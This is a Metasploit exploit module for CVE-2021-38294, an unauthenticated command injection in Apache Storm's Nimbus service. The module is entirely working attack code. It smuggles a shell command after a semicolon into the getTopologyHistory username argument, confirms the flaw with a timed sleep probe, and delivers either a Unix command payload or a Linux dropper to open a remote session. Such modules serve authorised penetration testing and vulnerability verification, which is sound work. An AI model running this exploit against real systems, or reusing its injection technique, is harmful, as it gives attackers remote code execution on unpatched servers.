Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/thrift'
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  Thrift = Rex::Proto::Thrift

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm.
          The getTopologyHistory RPC method method takes a single argument which is the name of a user which is
          concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there
          must have been at least one topology submitted to the server. The topology may be active or inactive, but at
          least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm.

          This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0
          which is affected.
        },
        'Author' => [
          'Alvaro Muñoz', # discovery and original research
          'Spencer McIntyre', # metasploit module
        ],
        'References' => [
          ['CVE', '2021-38294'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/']
        ],
        'DisclosureDate' => '2021-10-25',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 6627,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_advanced_options(
      [
        OptInt.new('ThriftTimeout', [ true, 'Thrift response and connection timeout duration', 10 ])
      ]
    )
  end

  def check
    begin
      connect
    rescue Rex::ConnectionError
      return CheckCode::Unknown('Failed to connect to the service.')
    end

    sleep_time = rand(5..10)
    response, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}", timeout: sleep_time + 3)
    end

    vprint_status("Elapsed time: #{elapsed_time} seconds")
    unless response && elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Appears('Successfully tested command injection.')
  end

  def exploit
    connect
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, opts = {})
    # comment out the rest of the command to ensure it's only executed once and append a random tag to avoid caching
    cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}"
    vprint_status("Executing command: #{cmd}")

    @thrift_client.call(
      'getTopologyHistory',
      Thrift::ThriftData.utf7(1, ";#{cmd}"),
      Thrift::ThriftData.stop,
      timeout: opts.fetch(:timeout, datastore['ThriftTimeout'])
    )
  rescue Rex::TimeoutError
    nil
  end

  def connect
    @thrift_client = Rex::Proto::Thrift::Client.new(
      target_host,
      datastore['RPORT'],
      context: { 'Msf' => framework, 'MsfExploit' => self },
      timeout: datastore['ThriftTimeout']
    )
    @thrift_client.connect
  end

  def cleanup
    return unless @thrift_client

    @thrift_client.close
    @thrift_client = nil
  end
end